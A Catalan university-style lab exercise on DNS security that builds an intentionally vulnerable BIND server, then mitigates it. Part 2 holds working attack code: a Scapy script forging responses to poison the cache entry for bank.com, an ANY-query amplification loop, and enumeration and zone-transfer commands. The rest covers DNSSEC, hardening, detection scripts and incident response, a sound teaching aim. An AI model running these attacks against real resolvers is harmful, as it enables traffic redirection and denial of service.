Salta el contingut

Activitat Aprofondiment AP100: Seguretat DNS i Mitigació d'Atacs

Objectius

  • Identificar i analitzar diferents tipus d'atacs DNS
  • Implementar DNSSEC en un entorn de producció
  • Configurar mesures de mitigació contra atacs comuns
  • Monitoritzar i detectar anomalies en el trànsit DNS
  • Realitzar auditories de seguretat DNS

Requisits

  • 3 màquines virtuals Ubuntu Server 22.04:
  • DNS-Primary (192.168.3.10)
  • DNS-Secondary (192.168.3.11)
  • Attacker (192.168.3.100)
  • 1 màquina client (192.168.3.50)
  • Wireshark instal·lat per a anàlisi de trànsit

Temps estimat: 150 minuts


Part 1: Preparació del Laboratori d'Atacs (20 minuts)

1.1 Configuració del DNS Vulnerable

En DNS-Primary, crea un servidor DNS deliberadament vulnerable:

# Configura BIND9 amb opcions insegures per demostració
options {
    recursion yes;
    allow-recursion { any; };  # VULNERABLE!
    allow-query { any; };       # VULNERABLE!
    allow-transfer { any; };    # VULNERABLE!
    dnssec-validation no;       # VULNERABLE!
};

1.2 Instal·lació d'Eines d'Atac

En la màquina Attacker, instal·la:

# Eines per a testing DNS
sudo apt install -y dnsrecon dnsenum fierce
sudo apt install -y hping3 scapy python3-scapy
sudo apt install -y dnsutils net-tools

1.3 Configuració de Monitorització

En DNS-Primary, configura logging detallat:

logging {
    channel security_file {
        file "/var/log/bind/security.log" versions 3 size 10m;
        severity dynamic;
        print-time yes;
        print-severity yes;
        print-category yes;
    };

    channel query_file {
        file "/var/log/bind/query.log" versions 3 size 50m;
        severity info;
        print-time yes;
    };

    category security { security_file; };
    category queries { query_file; };
    category query-errors { query_file; };
};

Part 2: Simulació i Anàlisi d'Atacs (30 minuts)

2.1 DNS Reconnaissance

Des de l'Attacker, executa:

# Enumeració DNS bàsica
dnsrecon -d empresa.local -n 192.168.3.10

# Zone transfer attempt
dig @192.168.3.10 empresa.local AXFR

# DNS enumeration
dnsenum empresa.local --server 192.168.3.10

# Subdomain brute force
fierce --domain empresa.local --dns-servers 192.168.3.10

Documenta: - Quina informació s'ha obtingut? - Quins registres de log s'han generat? - Com es podria prevenir aquesta enumeració?

2.2 DNS Cache Poisoning

Simula un intent de cache poisoning:

#!/usr/bin/env python3
# dns_poison_test.py
from scapy.all import *
import random

def poison_attempt():
    # Crea paquet DNS maliciós
    target_dns = "192.168.3.10"
    spoofed_domain = "bank.com"
    fake_ip = "192.168.3.100"

    # Construeix query i response falsa
    dns_query = IP(dst=target_dns)/UDP(dport=53)/\
                DNS(rd=1, qd=DNSQR(qname=spoofed_domain))

    # Envia múltiples respostes amb IDs aleatoris
    for i in range(1000):
        fake_response = IP(src="8.8.8.8", dst=target_dns)/\
                       UDP(sport=53, dport=53)/\
                       DNS(id=random.randint(0, 65535),
                           qr=1, aa=1, qd=DNSQR(qname=spoofed_domain),
                           an=DNSRR(rrname=spoofed_domain, ttl=86400,
                                   rdata=fake_ip))
        send(fake_response, verbose=0)

    print(f"Poisoning attempt sent for {spoofed_domain}")

if __name__ == "__main__":
    poison_attempt()

2.3 DNS Amplification Attack

Simula un atac d'amplificació:

# NOTA: Només per propòsits educatius en entorn controlat
# Genera consultes ANY per amplificació
for i in {1..100}; do
    dig @192.168.3.10 ANY empresa.local +notcp +ignore
done

# Monitoritza l'impacte
watch -n 1 'netstat -su | grep -A 10 Udp'

2.4 DNS Tunneling Detection

Crea trànsit DNS sospitós:

# Simula DNS tunneling amb dades codificades
# Crea subdominis llargs i aleatoris
for i in {1..50}; do
    RANDOM_DATA=$(openssl rand -base64 32 | tr -d '/+=' | cut -c1-30)
    dig @192.168.3.10 $RANDOM_DATA.tunnel.empresa.local
done

Part 3: Implementació de DNSSEC (30 minuts)

3.1 Generació de Claus DNSSEC

En DNS-Primary:

# Crea directori per a les claus
sudo mkdir -p /etc/bind/keys
cd /etc/bind/keys

# Genera KSK (Key Signing Key)
sudo dnssec-keygen -a RSASHA256 -b 4096 -n ZONE -f KSK empresa.local

# Genera ZSK (Zone Signing Key)
sudo dnssec-keygen -a RSASHA256 -b 2048 -n ZONE empresa.local

# Inclou les claus a la zona
echo "\$INCLUDE \"/etc/bind/keys/Kempresa.local.+008+*.key\"" >> /etc/bind/zones/db.empresa.local

3.2 Signatura de la Zona

# Signa la zona
sudo dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) \
    -N INCREMENT -o empresa.local -t \
    /etc/bind/zones/db.empresa.local

# Actualitza la configuració per usar la zona signada
# A /etc/bind/named.conf.local:
zone "empresa.local" {
    type master;
    file "/etc/bind/zones/db.empresa.local.signed";
    # ...
};

3.3 Configuració del Trust Anchor

# Extreu el DS record per al parent zone
sudo dnssec-dsfromkey Kempresa.local.+008+*.key

# Configura trust anchor al resolver
# A /etc/bind/named.conf.options:
trusted-keys {
    empresa.local. 257 3 8 "AwEAAb...";  # Afegeix la clau pública KSK
};

3.4 Verificació DNSSEC

# Verifica la signatura
dig @localhost empresa.local DNSKEY +dnssec

# Verifica la cadena de confiança
delv @localhost www.empresa.local

# Comprova l'estat DNSSEC
sudo rndc dnssec -status empresa.local

Part 4: Hardenització del Servidor DNS (25 minuts)

4.1 Configuració Segura de BIND

Actualitza /etc/bind/named.conf.options:

options {
    directory "/var/cache/bind";

    # Seguretat bàsica
    recursion yes;
    allow-recursion { 192.168.3.0/24; localhost; };
    allow-query { 192.168.3.0/24; localhost; };
    allow-query-cache { 192.168.3.0/24; localhost; };

    # Prevenir zone transfers no autoritzades
    allow-transfer { 192.168.3.11; };  # Només al secundari

    # DNSSEC
    dnssec-enable yes;
    dnssec-validation yes;
    dnssec-lookaside auto;

    # Amagar informació
    version "DNS Server";
    hostname none;
    server-id none;

    # Rate limiting
    rate-limit {
        responses-per-second 10;
        window 5;
        slip 2;
        qps-scale 250;
        exempt-clients { 192.168.3.0/24; };
    };

    # Protecció contra poisoning
    use-id-pool yes;
    random-device "/dev/urandom";
};

4.2 Implementació de Response Policy Zones (RPZ)

Crea una RPZ per bloquejar dominis maliciosos:

# Crea fitxer RPZ
sudo nano /etc/bind/zones/db.rpz

$TTL 300
@       IN SOA  localhost. root.localhost. (
                2024010101 ; Serial
                3600       ; Refresh
                1800       ; Retry
                604800     ; Expire
                86400 )    ; Minimum TTL

        IN NS   localhost.

; Dominis a bloquejar
malware.com     IN CNAME .
phishing.net    IN CNAME .
*.badsite.org   IN CNAME .

; IPs a bloquejar
32.1.0.0.127.rpz-ip     IN CNAME .  ; Bloqueja 127.0.0.1/32

Configura la RPZ a named.conf:

response-policy { 
    zone "rpz" policy NXDOMAIN; 
};

zone "rpz" {
    type master;
    file "/etc/bind/zones/db.rpz";
};

4.3 Configuració de Chroot Environment

# Configura BIND en chroot per aïllament
sudo apt install -y bind9-chroot

# El servei s'executarà automàticament en chroot
sudo systemctl restart bind9-chroot

Part 5: Monitorització i Anàlisi (20 minuts)

5.1 Script de Monitorització

Crea un script per monitoritzar anomalies:

#!/bin/bash
# dns-monitor.sh

LOG_FILE="/var/log/bind/query.log"
ALERT_FILE="/var/log/dns-alerts.log"

# Detecta consultes sospitoses
detect_tunneling() {
    # Busca subdominis anormalment llargs
    grep "query:" $LOG_FILE | tail -1000 | \
    awk '{print $8}' | \
    awk -F'.' '{if(length($1) > 50) print}' | \
    while read domain; do
        echo "[ALERT] Possible DNS tunneling: $domain" >> $ALERT_FILE
    done
}

# Detecta volum anormal de consultes
detect_ddos() {
    # Compta consultes per IP en l'últim minut
    THRESHOLD=100
    COUNT=$(grep "query:" $LOG_FILE | tail -1000 | \
            awk '{print $6}' | sort | uniq -c | \
            awk -v t=$THRESHOLD '$1 > t {print $2}')

    if [ ! -z "$COUNT" ]; then
        echo "[ALERT] Possible DDoS from: $COUNT" >> $ALERT_FILE
    fi
}

# Detecta zone transfer attempts
detect_axfr() {
    grep "AXFR" $LOG_FILE | tail -10 | \
    while read line; do
        echo "[ALERT] Zone transfer attempt: $line" >> $ALERT_FILE
    done
}

# Execució principal
while true; do
    detect_tunneling
    detect_ddos
    detect_axfr
    sleep 60
done

5.2 Anàlisi amb Wireshark

Captura i analitza trànsit DNS:

# Captura trànsit DNS
sudo tcpdump -i any -w dns_traffic.pcap port 53

# O amb tshark per anàlisi en temps real
sudo tshark -i any -f "port 53" -Y "dns.flags.response == 0" \
    -T fields -e frame.time -e ip.src -e dns.qry.name

Filtres Wireshark útils: - dns.flags.response == 0 - Només queries - dns.flags.response == 1 - Només respostes - dns.qry.type == 255 - Consultes ANY - dns.flags.rcode != 0 - Errors DNS - dns.qry.name contains "tunnel" - Possible tunneling

5.3 Dashboard de Monitorització

Crea un dashboard simple:

#!/bin/bash
# dns-dashboard.sh

clear
echo "=== DNS Security Dashboard ==="
echo "Time: $(date)"
echo ""

echo "--- Service Status ---"
systemctl status bind9 | grep Active

echo ""
echo "--- Last 10 Queries ---"
tail -10 /var/log/bind/query.log | awk '{print $4, $6, $8}'

echo ""
echo "--- Query Statistics ---"
echo "Total queries today: $(grep -c "query:" /var/log/bind/query.log)"
echo "Unique clients: $(grep "query:" /var/log/bind/query.log | awk '{print $6}' | sort -u | wc -l)"

echo ""
echo "--- Top 10 Queried Domains ---"
grep "query:" /var/log/bind/query.log | \
    awk '{print $8}' | sort | uniq -c | sort -rn | head -10

echo ""
echo "--- Security Alerts ---"
tail -5 /var/log/dns-alerts.log 2>/dev/null || echo "No alerts"

Part 6: Resposta a Incidents (15 minuts)

6.1 Procediment de Resposta

Documenta i executa el següent procediment:

  1. Detecció:

    # Identifica l'atac
    sudo tail -f /var/log/bind/security.log
    sudo netstat -anp | grep :53
    

  2. Contenció:

    # Bloqueja IP atacant
    sudo iptables -I INPUT -s <IP_ATACANT> -j DROP
    
    # Si cal, atura el servei temporalment
    sudo systemctl stop bind9
    

  3. Eradicació:

    # Neteja cache contaminada
    sudo rndc flush
    
    # Revisa i corregeix configuració
    sudo named-checkconf
    

  4. Recuperació:

    # Reinicia amb configuració segura
    sudo systemctl restart bind9
    
    # Verifica funcionament
    dig @localhost test.empresa.local
    

  5. Lliçons apreses:

  6. Documenta l'incident
  7. Actualitza configuració
  8. Millora monitorització

6.2 Script d'Emergència

#!/bin/bash
# emergency-dns.sh
# Script per mitigació ràpida d'atacs

case "$1" in
    block-amplification)
        # Bloqueja consultes ANY
        iptables -A INPUT -p udp --dport 53 -m string \
            --hex-string "|00 00 ff 00 01|" --algo bm -j DROP
        echo "Amplification mitigation activated"
        ;;

    block-ip)
        iptables -I INPUT -s $2 -p udp --dport 53 -j DROP
        echo "Blocked IP: $2"
        ;;

    emergency-stop)
        systemctl stop bind9
        iptables -A INPUT -p udp --dport 53 -j DROP
        iptables -A INPUT -p tcp --dport 53 -j DROP
        echo "DNS service stopped and ports blocked"
        ;;

    restore)
        iptables -D INPUT -p udp --dport 53 -j DROP
        iptables -D INPUT -p tcp --dport 53 -j DROP
        systemctl start bind9
        echo "DNS service restored"
        ;;

    *)
        echo "Usage: $0 {block-amplification|block-ip IP|emergency-stop|restore}"
        exit 1
        ;;
esac

Part 7: Auditoria Final (10 minuts)

7.1 Checklist de Seguretat

Verifica els següents punts:

  • Recursió limitada a xarxes de confiança
  • Zone transfers restringides
  • DNSSEC implementat i funcional
  • Rate limiting actiu
  • Versió de BIND amagada
  • Logs configurats correctament
  • Firewall configurat
  • RPZ implementada
  • Monitorització activa
  • Procediment de resposta documentat

7.2 Test de Penetració Final

# Executa test complet
nmap -sU -sV -p 53 --script dns-* 192.168.3.10

# Verifica DNSSEC
dig +dnssec +multi www.empresa.local

# Intenta zone transfer
dig @192.168.3.10 empresa.local AXFR

# Test de recursió
dig @192.168.3.10 google.com

Entregables

  1. Informe de Seguretat (PDF):
  2. Vulnerabilitats identificades inicialment
  3. Atacs simulats i resultats
  4. Mesures de mitigació implementades
  5. Resultats dels tests finals
  6. Recomanacions addicionals

  7. Configuracions:

  8. named.conf.options (segur)
  9. Fitxers de zona amb DNSSEC
  10. Configuració RPZ
  11. Scripts de monitorització

  12. Evidències:

  13. Captures de Wireshark dels atacs
  14. Logs abans i després de la mitigació
  15. Captures de pantalla del dashboard

  16. Documentació:

  17. Procediment de resposta a incidents
  18. Manual d'operacions segures
  19. Checklist de seguretat completada

Criteris d'Avaluació

Criteri Puntuació
Identificació de vulnerabilitats 15%
Simulació d'atacs correcta 15%
Implementació DNSSEC 20%
Mesures de hardenització 20%
Monitorització efectiva 10%
Resposta a incidents 10%
Documentació i informe 10%

Referències i Recursos

  • DNSSEC Tools: https://www.dnssec-tools.org/
  • BIND Security Advisory: https://www.isc.org/bind/security/
  • SANS DNS Security: https://www.sans.org/white-papers/
  • CIS BIND Benchmark: https://www.cisecurity.org/benchmark/bind

Nota: Totes les tècniques d'atac mostrades són exclusivament per a propòsits educatius en entorns controlats. L'ús malintencionat d'aquestes tècniques és il·legal.